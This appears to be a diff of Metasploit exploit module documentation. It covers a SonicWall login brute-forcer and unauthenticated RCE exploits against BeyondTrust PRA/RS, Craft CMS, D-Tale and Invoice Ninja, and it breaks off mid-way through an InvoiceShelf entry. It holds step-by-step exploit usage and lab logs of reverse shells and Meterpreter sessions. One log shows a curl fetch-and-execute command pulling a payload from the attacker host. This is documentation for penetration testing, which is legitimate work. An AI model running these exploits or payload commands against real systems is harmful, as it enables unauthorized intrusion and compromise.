- [SonicWall](https://www.sonicwall.com/resources/trials-landing/sonicwall-nsv-next-gen-virtual-firewall-trial)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use auxiliary/scanner/sonicwall/login_scanner`
|
||||
2. `set RHOSTS [IP]`
|
||||
3. either `set USERNAME [username]` or `set USERPASS_FILE [usernames file]`
|
||||
4. either `set PASSWORD [password]` or `set PASS_FILE [passwords file]`
|
||||
5. `set DOMAIN [domain to attack/empty string to attack admin account]`
|
||||
6. `run`
|
||||
|
||||
|
||||
@@ -20,10 +20,12 @@ The issue mode. This controls what the module will do once an authenticated sess
|
||||
server. Must be one of the following options:
|
||||
|
||||
* ALL: Enumerate all available certificate templates and then issue each of them
|
||||
* AUTO: Automatically select either the `User` or `Machine` template to issue based on if the authenticated user is a
|
||||
user or machine account. The determination is based on checking for a `$` at the end of the name, which means that it
|
||||
is a machine account.
|
||||
* QUERY_ONLY: Enumerate all available certificate templates but do not issue any
|
||||
* AUTO: Automatically select either the `User` or `DomainController` and `Machine` (`Computer`) templates to issue
|
||||
based on if the authenticated user is a user or machine account. The determination is based on checking for a `$`
|
||||
at the end of the name, which means that it is a machine account.
|
||||
* QUERY_ONLY: Enumerate all available certificate templates but do not issue any. Not all certificate templates
|
||||
available for use will be displayed; templates with the flag CT_FLAG_MACHINE_TYPE set will not show available and
|
||||
include `Machine` (AKA `Computer`) and `DomainController`
|
||||
* SPECIFIC_TEMPLATE: Issue the certificate template specified in the `CERT_TEMPLATE` option
|
||||
|
||||
### CERT_TEMPLATE
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
## Vulnerable Application
|
||||
This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote
|
||||
Access (PRA) and Remote Support (RS), with the privileges of the site user of the targeted BeyondTrust
|
||||
product site. This exploit targets PRA and RS versions `24.3.1` and below.
|
||||
|
||||
## Testing
|
||||
This exploit was tested against a vulnerable BeyondTrust Remote Support target running version `24.1.2`. To install
|
||||
a virtual appliance, follow [this documentation](https://docs.beyondtrust.com/rs/docs/va-install). You will first need
|
||||
to acquire the relevant software packages.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. `use exploit/linux/http/beyondtrust_pra_rs_unauth_rce`
|
||||
3. `set RHOST <TARGET_IP_ADDRESS>`
|
||||
4. `set PAYLOAD cmd/linux/http/x64/meterpreter_reverse_tcp`
|
||||
5. `set LHOST eth0`
|
||||
6. `set LPORT 4444`
|
||||
7. `check`
|
||||
8. `exploit`
|
||||
|
||||
## Options
|
||||
|
||||
### TargetCompanyName
|
||||
If set, use this name value to identify the company name of the deployed site (e.g. `mytestcompany`).
|
||||
By default, this is auto discovered.
|
||||
|
||||
### TargetServerFQDN
|
||||
If set, use this FQDN value to identify the FQDN of the deployed site (e.g. `support.mytestcompany.com`).
|
||||
By default, this is auto discovered.
|
||||
|
||||
### LeverageCVE_2024_12356
|
||||
By default, this exploit does not leverage the argument injection vulnerability CVE-2024-12356, and instead exploits the
|
||||
SQLi vulnerability CVE-2025-1094 directly. Enabling this option will cause this exploit to leverage CVE-2024-12356 during
|
||||
the exploitation of the SQLi vulnerability CVE-2025-1094. In either case the SQLi vulnerability CVE-2025-1094 is leveraged
|
||||
to achieve RCE.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Default
|
||||
|
||||
```
|
||||
msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > show options
|
||||
|
||||
Module options (exploit/linux/http/beyondtrust_pra_rs_unauth_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.86.105 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.
|
||||
html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE true yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME usKuEPuSzgnx no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST eth0 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Default
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > check
|
||||
[*] 192.168.86.105:443 - The target appears to be vulnerable. Detected version 24.1.2
|
||||
msf6 exploit(linux/http/beyondtrust_pra_rs_unauth_rce) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.86.122:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Detected version 24.1.2
|
||||
[*] Using company name: mytestcompany
|
||||
[*] Sending stage (3045380 bytes) to 192.168.86.105
|
||||
[*] Meterpreter session 1 opened (192.168.86.122:4444 -> 192.168.86.105:10104) at 2025-01-31 10:51:38 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: mytestcompany
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.86.105
|
||||
OS : Gentoo 2.14 (Linux 6.1.76-bt)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,275 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This Metasploit module exploits a Remote Code Execution vulnerability in **Craft CMS**.
|
||||
|
||||
The vulnerability lies in improper handling of Twig templates, which can be exploited
|
||||
to inject and execute arbitrary PHP code on the server via crafted HTTP requests.
|
||||
|
||||
---
|
||||
|
||||
### Affected Versions
|
||||
|
||||
- **5.x Series**: `>= 5.0.0-RC1`, `< 5.5.2`
|
||||
- **4.x Series**: `>= 4.0.0-RC1`, `< 4.13.2`
|
||||
- **3.x Series**: `>= 3.0.0`, `< 3.9.14`
|
||||
|
||||
---
|
||||
|
||||
### Setting Up a Vulnerable Lab
|
||||
|
||||
To test this exploit, follow these steps to set up a vulnerable Craft CMS environment.
|
||||
|
||||
#### Docker Setup
|
||||
|
||||
Install a specific vulnerable version of Craft CMS:
|
||||
|
||||
```bash
|
||||
mkdir exploit-craft && \
|
||||
cd exploit-craft && \
|
||||
# Configure DDEV (https://ddev.com/) project for Craft CMS \
|
||||
ddev config \
|
||||
--project-type=craftcms \
|
||||
--docroot=web \
|
||||
--create-docroot \
|
||||
--php-version="8.2" \
|
||||
--database="mysql:8.0" \
|
||||
--nodejs-version="20" && \
|
||||
# Create the DDEV project
|
||||
ddev start -y && \
|
||||
# Create Craft CMS with the specified version
|
||||
ddev composer create -y --no-scripts --no-interaction "craftcms/craft:5.0.0" && \
|
||||
# Install a vulnerable Craft CMS version
|
||||
ddev composer require "craftcms/cms:5.5.0" \
|
||||
--no-scripts \
|
||||
--no-interaction --with-all-dependencies && \
|
||||
# Set the security key for Craft CMS
|
||||
ddev craft setup/security-key && \
|
||||
# Install Craft CMS
|
||||
ddev craft install/craft \
|
||||
--username=admin \
|
||||
--password=password123 \
|
||||
--email=admin@example.com \
|
||||
--site-name=Testsite \
|
||||
--language=en \
|
||||
--site-url='$DDEV_PRIMARY_URL' && \
|
||||
# Enable register_argc_argv for PHP
|
||||
mkdir -p .ddev/php/ && \
|
||||
echo "register_argc_argv = On" > .ddev/php/php.ini && \
|
||||
ddev restart && \
|
||||
# Launch the project
|
||||
echo 'Setup complete. Launching the project.' && \
|
||||
ddev launch
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start the vulnerable Craft CMS instance using the steps above.
|
||||
2. Launch `msfconsole`.
|
||||
3. Use the module: `use exploit/linux/http/craftcms_ftp_template`.
|
||||
4. Set `RHOSTS` to the target Craft CMS instance.
|
||||
5. Configure additional options (`TARGETURI`, `SSL`, etc.) as needed.
|
||||
6. Execute the exploit with the `run` command.
|
||||
7. If successful, the module will execute the payload on the target.
|
||||
|
||||
---
|
||||
|
||||
## Options
|
||||
No option
|
||||
|
||||
## Scenarios
|
||||
|
||||
#### Successful Exploitation Against Craft CMS 5.5.0
|
||||
|
||||
**Setup**:
|
||||
|
||||
- Local Craft CMS instance with a vulnerable version (e.g., `5.5.0`).
|
||||
- Metasploit Framework.
|
||||
|
||||
**Steps**:
|
||||
|
||||
To successfully exploit the Craft CMS vulnerability using this Metasploit module, follow these steps:
|
||||
|
||||
1. Start `msfconsole`:
|
||||
```bash
|
||||
msfconsole
|
||||
```
|
||||
|
||||
2. Load the module:
|
||||
```bash
|
||||
use exploit/linux/http/craftcms_ftp_template
|
||||
```
|
||||
|
||||
3. Set the `RHOSTS` option to the target Craft CMS instance, for example:
|
||||
```bash
|
||||
set RHOSTS exploit-craft.ddev.site
|
||||
```
|
||||
|
||||
4. Configure other necessary options such as `TARGETURI`, `SSL`, and `RPORT` if required. By default:
|
||||
- `RPORT` is set to `80`.
|
||||
- `TARGETURI` is set to `/`.
|
||||
|
||||
5. Set the payload for exploitation. For example:
|
||||
```bash
|
||||
set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
```
|
||||
|
||||
6. Set the local listener address and port:
|
||||
```bash
|
||||
set LHOST 192.168.1.36
|
||||
set LPORT 4444
|
||||
```
|
||||
|
||||
7. Optionally, customize FTP-related settings like `SRVPORT` and `FETCH_URIPATH` if needed:
|
||||
```bash
|
||||
set SRVPORT 9090
|
||||
set FETCH_SRVPORT 8081
|
||||
set FETCH_URIPATH /custom_payload_path
|
||||
```
|
||||
|
||||
8. Run the exploit:
|
||||
```bash
|
||||
exploit
|
||||
```
|
||||
|
||||
**Expected Results**:
|
||||
|
||||
If the target is vulnerable, the module will successfully execute the payload and open a session, such as a Meterpreter shell:
|
||||
|
||||
```bash
|
||||
msf6 exploit(linux/http/craftcms_ftp_template) > options
|
||||
|
||||
Module options (exploit/linux/http/craftcms_ftp_template):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASVPORT 0 no The local PASV data port to listen on (0 is random)
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS exploit-craft.ddev.site yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metaspl
|
||||
oit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SRVHOST 192.168.1.36 yes The local host or network interface to listen on. This must be an address on the local machine
|
||||
or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 9090 yes The local port to listen on.
|
||||
SSL false no Negotiate SSL for incoming connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME QnXFYebbb no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8081 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST 192.168.1.36 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Unix/Linux Command Shell
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/craftcms_ftp_template) > exploit
|
||||
[*] Command to run on remote host: curl -so ./jlVAsfWu http://192.168.1.36:8081/LoPlnjEpeOexZNVppn6cAA;chmod +x ./jlVAsfWu;./jlVAsfWu&
|
||||
[*] Exploit running as background job 57.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf6 exploit(linux/http/craftcms_ftp_template) >
|
||||
[*] Fetch handler listening on 192.168.1.36:8081
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
|
||||
[*] Started reverse TCP handler on 192.168.1.36:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Performing vulnerability check...
|
||||
[+] The target is vulnerable.
|
||||
[*] Starting FTP service...
|
||||
[*] Started service listener on 192.168.1.36:9090
|
||||
[*] FTP server started on 192.168.1.36:9090
|
||||
[*] Sending HTTP request to trigger the payload...
|
||||
[*] Triggering HTTP request...
|
||||
[*] -> 220 FTP Server Ready
|
||||
[*] on_client_command_user
|
||||
[*] -> 331 Username ok, send password.
|
||||
[*] on_client_command_pass
|
||||
[*] -> 230 Login successful.
|
||||
[*] on_client_command_cwd
|
||||
[*] -> 250 "/default" is current directory.
|
||||
[*] on_client_command_type
|
||||
[*] -> 200 Type set to: Binary.
|
||||
[*] on_client_command_size
|
||||
[*] -> 550 /default is not retrievable.
|
||||
[*] on_client_command_mdtm
|
||||
[*] -> 550 /default is not retrievable.
|
||||
[*] -> 220 FTP Server Ready
|
||||
[*] on_client_command_user
|
||||
[*] -> 331 Username ok, send password.
|
||||
[*] on_client_command_pass
|
||||
[*] -> 230 Login successful.
|
||||
[*] on_client_command_cwd
|
||||
[*] -> 550 Not a directory
|
||||
[*] on_client_command_type
|
||||
[*] -> 200 Type set to: Binary.
|
||||
[*] on_client_command_size
|
||||
[*] -> 213 154
|
||||
[*] on_client_command_mdtm
|
||||
[*] -> 213 20250110170738
|
||||
[*] -> 220 FTP Server Ready
|
||||
[*] on_client_command_user
|
||||
[*] -> 331 Username ok, send password.
|
||||
[*] on_client_command_pass
|
||||
[*] -> 230 Login successful.
|
||||
[*] on_client_command_cwd
|
||||
[*] -> 550 Not a directory
|
||||
[*] on_client_command_type
|
||||
[*] -> 200 Type set to: Binary.
|
||||
[*] on_client_command_size
|
||||
[*] -> 213 154
|
||||
[*] on_client_command_mdtm
|
||||
[*] -> 213 20250110170738
|
||||
[*] -> 220 FTP Server Ready
|
||||
[*] on_client_command_user
|
||||
[*] -> 331 Username ok, send password.
|
||||
[*] on_client_command_pass
|
||||
[*] -> 230 Login successful.
|
||||
[*] on_client_command_type
|
||||
[*] -> 200 Type set to: Binary.
|
||||
[*] on_client_command_size
|
||||
[*] -> 213 154
|
||||
[*] on_client_command_epsv
|
||||
[*] -> 502 EPSV command not implemented.
|
||||
[*] on_client_command_retr
|
||||
[*] -> 150 Opening data connection for /default/index.twig
|
||||
[*] -> 226 Transfer complete.
|
||||
[*] on_client_command_quit
|
||||
[*] -> 221 Goodbye.
|
||||
[*] Client 172.26.0.2 requested /LoPlnjEpeOexZNVppn6cAA
|
||||
[*] Sending payload to 172.26.0.2 (curl/7.88.1)
|
||||
[*] Transmitting intermediate stager...(126 bytes)
|
||||
[*] Sending stage (3045380 bytes) to 172.26.0.2
|
||||
[*] Meterpreter session 14 opened (192.168.1.36:4444 -> 172.26.0.2:59546) at 2025-01-10 17:07:39 +0100
|
||||
|
||||
msf6 exploit(linux/http/craftcms_ftp_template) > sessions 14
|
||||
[*] Starting interaction with 14...
|
||||
meterpreter > sysinfo
|
||||
Computer : 172.26.0.2
|
||||
OS : Debian 12.8 (Linux 5.15.0-130-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
[*] Waiting for FTP client connections...
|
||||
[*] Shutting down FTP service...
|
||||
[*] Server stopped.
|
||||
```
|
||||
@@ -0,0 +1,110 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This exploit effectively serves as a bypass for CVE-2024-3408.
|
||||
An attacker can override global state to enable custom filters, which then facilitates remote code execution.
|
||||
Specifically, this vulnerability leverages the ability to manipulate global application settings
|
||||
to activate the enable_custom_filters feature, typically restricted to trusted environments.
|
||||
Once enabled, the /test-filter endpoint of the Custom Filters functionality can be exploited to execute arbitrary system commands.
|
||||
|
||||
The vulnerability affects:
|
||||
|
||||
* D-Tale <= 3.15.1
|
||||
|
||||
This module was successfully tested on:
|
||||
|
||||
* D-Tale 3.15.1 installed on Ubuntu 24.04
|
||||
* D-Tale 3.12.0 installed on Ubuntu 22.04
|
||||
* D-Tale 3.10.0 installed on Ubuntu 22.04
|
||||
* D-Tale 3.0.0 installed on Ubuntu 22.04
|
||||
* D-Tale 2.5.1 installed on Ubuntu 22.04
|
||||
* D-Tale 2.4.0 installed on Ubuntu 22.04
|
||||
|
||||
|
||||
### Installation
|
||||
|
||||
1. `pip install 'dtale==3.15.1'`
|
||||
|
||||
2. `dtale --host 0.0.0.0`
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use exploit/linux/http/dtale_rce_cve_2025_0655`
|
||||
4. Do: `run lhost=<lhost> rhost=<rhost>`
|
||||
5. You should get a meterpreter
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
## Scenarios
|
||||
```
|
||||
msf6 > use exploit/linux/http/dtale_rce_cve_2025_0655
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
|
||||
msf6 exploit(linux/http/dtale_rce_cve_2025_0655) > options
|
||||
|
||||
Module options (exploit/linux/http/dtale_rce_cve_2025_0655):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 40000 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE true yes Attempt to delete the binary after execution
|
||||
FETCH_FILELESS false yes Attempt to run payload without touching disk, Linux ≥3.17 only
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
When FETCH_FILELESS is false:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_FILENAME agAyokIhdJZ no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux Command
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/dtale_rce_cve_2025_0655) > run lhost=192.168.56.1 rhost=192.168.56.17
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target appears to be vulnerable. Version 3.15.1 detected.
|
||||
[*] Use data_id: 1
|
||||
[*] Updated the enable_custom_filters to true.
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.17:33210) at 2025-03-03 20:49:53 +0900
|
||||
[*] Successfully executed the payload.
|
||||
[*] Successfully cleaned up data_id: 1
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: ubu
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.56.17
|
||||
OS : Ubuntu 22.04 (Linux 6.8.0-52-generic)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,112 @@
|
||||
## Vulnerable Application
|
||||
Invoice Ninja is a free invoicing software for small businesses, based on the PHP framework Laravel.
|
||||
A Remote Code Execution vulnerability in Invoice Ninja (>= `5.8.22` <= `5.10.10`) allows remote unauthenticated
|
||||
attackers to conduct PHP deserialization attacks via endpoint `/route/<hash>` which accepts a Laravel
|
||||
ciphered value which is unsafe unserialized, if an attacker has access to the secret `APP_KEY`.
|
||||
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
|
||||
potentially resulting in complete system compromise, data exfiltration, or unauthorized access
|
||||
to sensitive information.
|
||||
|
||||
The following release was tested.
|
||||
* Invoice Ninja `5.10.10` on Ubuntu 22.04
|
||||
|
||||
## Installation steps to install Invoice Ninja on a self-hosted platform
|
||||
`wget https://github.com/invoiceninja/dockerfiles/archive/refs/tags/5.8.22.zip`
|
||||
|
||||
`unzip 5.8.22.zip`
|
||||
|
||||
`cd dockerfiles-5.8.22`
|
||||
|
||||
Replace inside `docker-compose.yml`
|
||||
|
||||
FROM `image: invoiceninja/invoiceninja:5` TO `image: invoiceninja/invoiceninja:5.8.22`
|
||||
|
||||
Replace in `env`
|
||||
`APP_KEY=base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=`
|
||||
|
||||
Then, execute `docker-compose up`
|
||||
## Verification Steps
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/linux/http/linux/http/invoiceninja_uauth_rce_cve_2024_55555`
|
||||
- [ ] `set rhosts <ip-target>`
|
||||
- [ ] `set rport <port>`
|
||||
- [ ] `set lhost <attacker-ip>`
|
||||
- [ ] `set target <0=PHP Command, 1=Unix/Linux Command>`
|
||||
- [ ] `exploit`
|
||||
- [ ] you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings
|
||||
|
||||
## Options
|
||||
### APP_KEY
|
||||
This option is required if the BRUTE_FORCE option is not used.
|
||||
It is the Laravel APP_KEY with a default key: `base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=`.
|
||||
|
||||
### BRUTEFORCE
|
||||
This option is optional and is a text file with a list of APP_KEYs, one per line for a bruteforce attack.
|
||||
|
||||
## Scenarios
|
||||
### Invoice Ninja 5.10.10 on Ubuntu 22.04 - PHP Command target
|
||||
Attack scenario: use the default Laravel APP_KEY preset in the option APP_KEY.
|
||||
```msf
|
||||
msf6 > use modules/exploits/linux/http/invoiceninja_unauth_rce_cve_2024_55555
|
||||
[*] Using configured payload php/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set rhosts 192.168.201.6
|
||||
rhosts => 192.168.201.6
|
||||
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set lhost 192.168.201.8
|
||||
lhost => 192.168.201.8
|
||||
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.6:443 can be exploited.
|
||||
[+] The target appears to be vulnerable. Invoice Ninja 5.10.10
|
||||
[*] Lets check if the APP_KEY(s) is/are valid by decrypting the XSRF_TOKEN inside the cookie.
|
||||
[*] Grabbing the cookie with the XSRF-TOKEN.
|
||||
[+] APP_KEY is valid: base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=
|
||||
[+] Unciphered value: e60eab8287b88f834312505e582750ae6f95a84b|6IWTnJv2f3lL1nbKRbl6LwJixPeRF5grQVTFTIuB
|
||||
[*] Generate an encrypted serialization payload with our cracked APP_KEY.
|
||||
[*] Executing PHP for php/meterpreter/reverse_tcp
|
||||
[*] Sending stage (40004 bytes) to 192.168.201.6
|
||||
[*] Meterpreter session 1 opened (192.168.201.8:4444 -> 192.168.201.6:60120) at 2025-02-23 09:47:28 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
meterpreter > sysinfo
|
||||
Computer : cuckoo
|
||||
OS : Linux cuckoo 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
|
||||
Meterpreter : php/linux
|
||||
meterpreter > pwd
|
||||
/usr/share/nginx/invoiceninja/public
|
||||
meterpreter >
|
||||
```
|
||||
### Invoice Ninja 5.10.10 on Ubuntu 22.04 - Unix/Linux Command target
|
||||
Attack scenario: use the BRUTEFORCE option with a list of APP_KEYS in a text file.
|
||||
```msf
|
||||
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set target 1
|
||||
target => 1
|
||||
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > set BRUTEFORCE /root/laravel-crypto-killer/wordlists/invoiceninja_default.txt
|
||||
BRUTEFORCE => /root/laravel-crypto-killer/wordlists/invoiceninja_default.txt
|
||||
msf6 exploit(linux/http/invoiceninja_unauth_rce_cve_2024_55555) > rexploit
|
||||
[*] Reloading module...
|
||||
[*] Started reverse TCP handler on 192.168.201.8:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.201.6:443 can be exploited.
|
||||
[+] The target appears to be vulnerable. Invoice Ninja 5.10.10
|
||||
[*] Lets check if the APP_KEY(s) is/are valid by decrypting the XSRF_TOKEN inside the cookie.
|
||||
[*] Grabbing the cookie with the XSRF-TOKEN.
|
||||
[*] Starting bruteforce decryption with APP_KEYS listed in /root/laravel-crypto-killer/wordlists/invoiceninja_default.txt.
|
||||
[+] APP_KEY is valid: base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno=
|
||||
[+] Unciphered value: e60eab8287b88f834312505e582750ae6f95a84b|3epElAO1qNeckBzHOytBrNnGrvRJSyeCBsahBkSO
|
||||
[*] Generate an encrypted serialization payload with our cracked APP_KEY.
|
||||
[*] Executing Unix/Linux Command for cmd/unix/reverse_bash
|
||||
[*] Command shell session 2 opened (192.168.201.8:4444 -> 192.168.201.6:60340) at 2025-02-23 09:49:15 +0000
|
||||
|
||||
id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
uname -a
|
||||
Linux cuckoo 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
|
||||
pwd
|
||||
/usr/share/nginx/invoiceninja/public
|
||||
```
|
||||
|
||||
## Limitations
|
||||
No limitations.
|
||||
@@ -0,0 +1,186 @@
|
||||
## Vulnerable Application
|
||||
InvoiceShelf is an open-source web & mobile app that helps you track expenses, payments, create professional
|
||||
invoices & estimates and is based on the PHP framework Laravel.
|
||||
InvoiceShelf has a Remote Code Execution vulnerability that allows remote unauthenticated attackers to conduct
|
||||
PHP deserialization attacks. This is possible when the `SESSION_DRIVER=cookie` option is set on the default
|
||||
InvoiceShelf .env file meaning that any session will be stored as a ciphered value inside a cookie.
|
||||
These sessions are made from a specially crafted JSON containing serialized data which is then ciphered using
|
||||
Laravel's encrypt() function.
|
||||
An attacker in possession of the `APP_KEY` would therefore be able to retrieve the cookie, uncipher it and modify
|
||||
the serialized data in order to get arbitrary deserialization on the affected server, allowing them to achieve
|
||||
remote command execution. InvoiceShelf version `1.3.0` and lower is vulnerable.
|
||||
As it allows remote code execution, adversaries could exploit this flaw to execute arbitrary commands,
|
||||
potentially resulting in complete system compromise, data exfiltration, or unauthorized access
|
||||
to sensitive information.
|
||||
|
||||
The following release was tested.
|
||||
* InvoiceShelf `1.3.0` on Docker
|
||||
|
||||
## Installation steps to install InvoiceShelf on Docker
|
||||
* Follow the instructions [here](https://docs.invoiceshelf.com/installation.html) for docker or manual install.
|
||||
* Please ensure that `SESSION_DRIVER=cookie` is set to cookie.
|
||||
* cp `.env.example` to `.env` and note down the `APP_KEY` setting.
|
||||
* To make life easy, use the `docker-compose.yml` below to install a vulnerable InvoiceShell on Docker.
|
||||
```
|
||||
#-------------------------------------------
|
||||
# InvoiceShelf MySQL docker-compose variant
|
||||
# Repo : https://github.com/InvoiceShelf/docker
|
||||
#-------------------------------------------
|
||||
|
||||
services:
|
||||
invoiceshelf_db:
|
||||
container_name: invoiceshelf_db
|
||||
image: mariadb:10
|
||||
environment:
|
||||
- MYSQL_DATABASE=invoiceshelf
|
||||
- MYSQL_USER=invoiceshelf
|
||||
- MYSQL_PASSWORD=Passw0rd
|
||||
- MARIADB_ALLOW_EMPTY_ROOT_PASSWORD=true
|
||||
expose:
|
||||
- 3306
|
||||
volumes:
|
||||
- mysql:/var/lib/mysql
|
||||
networks:
|
||||
- invoiceshelf
|
||||
restart: unless-stopped
|
||||
healthcheck:
|
||||
test: ["CMD", "mariadb-admin" ,"ping", "-h", "localhost"]
|
||||
timeout: 20s
|
||||
retries: 10
|
||||
|
||||
invoiceshelf:
|
||||
